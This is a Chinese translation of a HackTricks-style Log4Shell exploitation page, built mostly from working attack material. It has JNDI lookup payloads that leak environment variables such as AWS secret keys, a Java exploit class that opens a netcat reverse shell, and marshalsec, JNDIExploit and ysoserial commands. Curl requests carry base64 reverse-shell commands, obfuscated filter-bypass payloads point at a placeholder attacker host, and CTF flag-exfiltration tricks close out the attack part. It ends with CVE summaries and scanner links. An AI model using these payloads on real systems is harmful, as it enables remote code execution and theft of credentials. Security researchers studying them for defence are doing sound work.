例如,您可以请求类似于: 或者像${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a},如果收到带有环境变量值的DNS请求,则说明应用程序存在漏洞。

您可以尝试泄露的其他信息:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

RCE 信息

在 JDK 版本高于 6u141、7u131 或 8u121 的主机上,已经针对 LDAP 类加载攻击向量进行了保护。这是因为默认情况下禁用了 com.sun.jndi.ldap.object.trustURLCodebase,阻止了 JNDI 通过 LDAP 加载远程代码库。然而,需要注意的是这些版本仍然无法防御反序列化攻击向量。

对于试图利用这些较高 JDK 版本的攻击者来说,有必要利用 Java 应用程序中的受信任小工具。诸如 ysoserial 或 JNDIExploit 的工具经常用于此目的。相反,利用较低 JDK 版本相对较容易,因为这些版本可以被操纵以加载和执行任意类。

RCE - 使用自定义有效载荷的 Marshalsec

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

为了促使目标加载一个反向 shell 代码,创建一个名为 Exploit.java 的 Java 文件,内容如下:

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

将Java文件编译为类文件使用:javac Exploit.java -source 8 -target 8。接下来,在包含类文件的目录中启动HTTP服务器:python3 -m http.server。确保marshalsec LDAP服务器引用了这个HTTP服务器。

通过发送类似以下负载的触发方式,触发对易受攻击的Web服务器上的exploit类的执行:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

注意: 这个漏洞利用取决于Java的配置,允许通过LDAP加载远程代码库。如果这是不允许的,请考虑利用受信任的类来执行任意代码。

RCE - JNDIExploit

此外,您无法在wayback machine中找到源代码,因此要么分析源代码,要么执行jar文件,知道您不知道自己在执行什么。

然后,您可以下载JNDIExploit jar文件并执行以下操作:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

阅读代码仅需几分钟,在_com.feihong.ldap.LdapServer_和_com.feihong.ldap.HTTPServer_中,您可以看到LDAP和HTTP服务器是如何创建的。LDAP服务器将了解需要提供的有效负载,并将受害者重定向到HTTP服务器,后者将提供利用。 在_com.feihong.ldap.gadgets_中,您可以找到一些特定的小工具,可用于执行所需的操作(潜在执行任意代码)。在_com.feihong.ldap.template_中,您可以看到将生成利用的不同模板类。

您可以使用**java -jar JNDIExploit-1.2-SNAPSHOT.jar -u**查看所有可用的利用。一些有用的利用包括:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

因此,在我们的示例中,我们已经运行了那个存在漏洞的 Docker 应用程序。要对其发起攻击:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

在发送攻击时,您将在执行JNDIExploit-1.2-SNAPSHOT.jar的终端中看到一些输出。

记得检查java -jar JNDIExploit-1.2-SNAPSHOT.jar -u以获取其他利用选项。此外,如果需要,您可以更改LDAP和HTTP服务器的端口。

RCE - JNDI-Exploit-Kit

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

这种利用自定义生成的Java对象的攻击在像THM太阳房间这样的实验室中可以使用。然而,这通常不起作用(因为默认情况下Java未配置为使用LDAP加载远程代码库),我认为这是因为它没有滥用受信任的类来执行任意代码。

RCE - JNDI注入利用加强版

RCE - ysoserial 和 JNDI利用工具包

这个选项对于攻击仅信任指定类而不是所有人的Java版本非常有用。因此,ysoserial将被用来生成受信任类的序列化,这些序列化可以用作执行任意代码的小工具(ysoserial滥用的受信任类必须被受害者Java程序使用,以使利用生效)。

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

现在您可以轻松使用生成的JNDI链接来利用漏洞并获取反向shell,只需发送到一个易受攻击的log4j版本:${ldap://10.10.14.10:1389/generated}

绕过方式

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

自动扫描器

实验室测试

Log4Shell 漏洞利用后

从版本2.16.0(适用于Java 8)开始,消息查找功能已完全移除。配置中的查找仍然有效。此外,Log4j现在默认禁用对JNDI的访问。配置中的JNDI查找现在需要显式启用。

从版本2.17.0开始(对于Java 7和Java 6分别为2.12.3和2.3.1),只有配置中的查找字符串会被递归展开;在任何其他用途中,只有顶层查找会被解析,任何嵌套查找都不会被解析。

这意味着默认情况下,您可以忘记使用任何jndi漏洞。此外,要执行递归查找,您需要配置它们。

例如,在该CTF中,文件log4j2.xml中配置了以下内容:

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

环境查找

异常中的数据窃取

在CTF中,你无法访问java应用程序的stderr,但Log4J的异常会发送到stdout,并在python应用程序中打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是:${java:${env:FLAG}}。这能够工作是因为**${java:CTF{blahblah}}**不存在,异常将显示标志的值:

转换模式异常

这并没有发现有用于在错误消息中窃取日期,因为查找在转换模式之前没有解决,但它可能对其他事情有用,比如检测。

转换模式正则表达式

然而,可以使用一些支持正则表达式的转换模式来通过使用正则表达式和滥用二分查找或基于时间的行为从查找中窃取信息。

  • 通过异常消息进行二分查找

转换模式**%replace可以用于替换字符串中的内容**,甚至使用正则表达式。它的工作方式如下:replace{pattern}{regex}{substitution} 滥用这种行为,你可以使替换在正则表达式匹配到任何字符串内的内容时触发异常(如果未找到则不会触发异常),如下所示:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
  • 基于时间的攻击

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

如果标志以 flagGuess 开头,则整个标志将被替换为 29 个 #(我使用这个字符是因为它可能不是标志的一部分)。然后,每个生成的 29 个 # 将被替换为 54 个 #。这个过程重复进行 6 次,总共产生了 29*54*54^6* =`` ``96816014208 个 #!

替换这么多 # 将触发 Flask 应用程序的 10 秒超时,从而导致向用户发送 HTTP 状态码 500。(如果标志不以 flagGuess 开头,我们将收到非 500 状态码)

参考资料

Try Hard Security Group

该漏洞是由于Log4j支持一种,形式为${prefix:name},其中prefix是多种不同之一,name应该被评估。例如,${java:version}是当前运行的Java版本。

引入了jndi查找功能。此功能通过JNDI检索变量。通常,密钥会自动添加前缀java:comp/env/。但是,如果密钥本身包含**“:”**,则不会应用此默认前缀。

[关键]

这个漏洞是log4j-core组件中的关键未受信任的反序列化漏洞,影响版本从2.0-beta9到2.14.1。它允许远程代码执行(RCE),使攻击者能够接管系统。该问题由阿里巴巴云安全团队的陈兆军报告,并影响各种Apache框架。版本2.15.0中的初始修复是不完整的。可用于防御的Sigma规则(,)。

[关键]

最初评级较低,但后来升级为关键,这个CVE是由于对CVE-2021-44228在2.15.0中的修复不完整而导致的**拒绝服务(DoS)**漏洞。它影响非默认配置,允许攻击者通过精心制作的载荷发起DoS攻击。一条展示了一种绕过方法。该问题在版本2.16.0和2.12.2中得到解决,方法是删除消息查找模式并默认禁用JNDI。

[高]

[中等]

Log4j 2.16.0存在一个DoS漏洞,促使发布log4j 2.17.0来修复该CVE。更多详细信息请参阅BleepingComputer的。

影响log4j版本2.17,这个CVE要求攻击者控制log4j的配置文件。它涉及通过配置的JDBCAppender进行潜在的任意代码执行。更多详细信息请参阅。

${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}(使用)

${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}(使用)

${jndi:ldap://2j4ayo.dnslog.cn}(使用)

${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}(使用)

要了解更多信息(如 RMI 和 CORBA 向量的限制),请查看之前的 JNDI 命名参考部分或

您可以在 THM box 中测试此功能:

使用工具 (jar 版本可在找到)。这种方法建立了一个 LDAP 引荐服务器,将连接重定向到一个次要的 HTTP 服务器,其中将托管利用程序:

请注意,由于发现了log4shell,作者出于某种原因从github中删除了这个项目。您可以在中找到缓存版本,但如果您想尊重作者的决定,请使用其他方法来利用此漏洞。

例如,您可以在端口8080上运行此易受log4shell影响的Web服务器:(在自述文件中,您将找到如何运行它的说明)。这个易受攻击的应用正在使用易受攻击版本的log4shell记录HTTP请求头_X-Api-Version_的内容。

类似于之前的利用方式,您可以尝试使用来利用此漏洞。 您可以生成要发送给受害者的URL:

是另一个用于生成可用的JNDI链接并通过启动RMI服务器、LDAP服务器和HTTP服务器提供后台服务的工具。\

使用ysoserial或,您可以创建将被JNDI下载的反序列化利用程序:

使用生成JNDI链接,在那里漏洞将等待来自受影响机器的连接。您可以提供由JNDI-Exploit-Kit自动生成的不同的漏洞利用,甚至是您自己生成的反序列化有效负载(由您或ysoserial生成)。

- 查找本地易受攻击的库

在这个中很好地解释了如何滥用Log4J的一些功能。

Log4j的中有一些有趣的句子:

在中,攻击者控制了${sys:cmd}的值,并需要从环境变量中窃取标志。 如在页面中所见,有不同的方式可以访问环境变量,比如:${env:FLAG}。在这个CTF中这是无用的,但在其他现实场景中可能会有用。

仅提一下,你也可以注入新的并触发将被记录到stdout的异常。例如:

正如前一节中提到的,%replace 支持 正则表达式。因此,可以使用来自的有效载荷来引发超时,以便在找到标志时触发超时。 例如,像 %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} 这样的有效载荷将在那个CTF比赛中触发超时。

在这个中,它使用了一种放大攻击来导致响应中的时间差异:

从零开始学习 AWS 黑客技术,成为专家 !

支持 HackTricks 的其他方式:

如果您想在 HackTricks 中看到您的 公司广告 或 下载 PDF 版本的 HackTricks,请查看!

获取

探索我们的独家 集合

加入 💬 或 或 关注 我们的 Twitter 🐦 。

通过向 和 github 仓库提交 PR 来分享您的黑客技巧。

🕸️
特殊语法
查找
LOG4J2-313
CVE-2021-44228
规则1
规则2
CVE-2021-45046
tweet
CVE-2021-4104
CVE-2021-42550
报告
CVE-2021-44832
Checkmarx博客文章
canarytokens.com
interactsh
dnslog
huntress
https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/
https://tryhackme.com/room/solar
marshalsec
此处
https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2
https://github.com/christophetd/log4shell-vulnerable-app
JNDI-Exploit-Kit
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus
ysoserial-modified
JNDI-Exploit-Kit
https://github.com/fullhunt/log4j-scan
https://github.com/adilsoybali/Log4j-RCE-Scanner
https://github.com/silentsignal/burp-log4shell
https://github.com/cisagov/log4j-scanner
https://github.com/Qualys/log4jscanwin
https://github.com/hillu/local-log4j-vuln-scanner
https://github.com/logpresso/CVE-2021-44228-Scanner
https://github.com/palantir/log4j-sniffer
LogForge HTB 机器
Try Hack Me Solar room
https://github.com/leonjza/log4jpwn
https://github.com/christophetd/log4shell-vulnerable-app
CTF writeup
安全页面
转换模式
ReDoS页面
writeup
https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/
https://www.youtube.com/watch?v=XG14EstTgQ4
https://tryhackme.com/room/solar
https://www.youtube.com/watch?v=Y8a5nB-vy78
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/
https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/
htARTE(HackTricks AWS 红队专家)
订阅计划
官方 PEASS & HackTricks 商品
NFTs
The PEASS Family
Discord 群组
电报群组
@carlospolopm
HackTricks
HackTricks Cloud
这个CTF
之前的有效载荷
htARTE(HackTricks AWS Red Team Expert)
订阅计划
官方PEASS & HackTricks周边产品
PEASS家族
NFTs收藏品
Discord群
电报群
@carlospolopm
HackTricks
HackTricks Cloud
Join the Try Hard Security Discord Server!Discord
Join the Try Hard Security Discord Server!Discord
Logo
Logo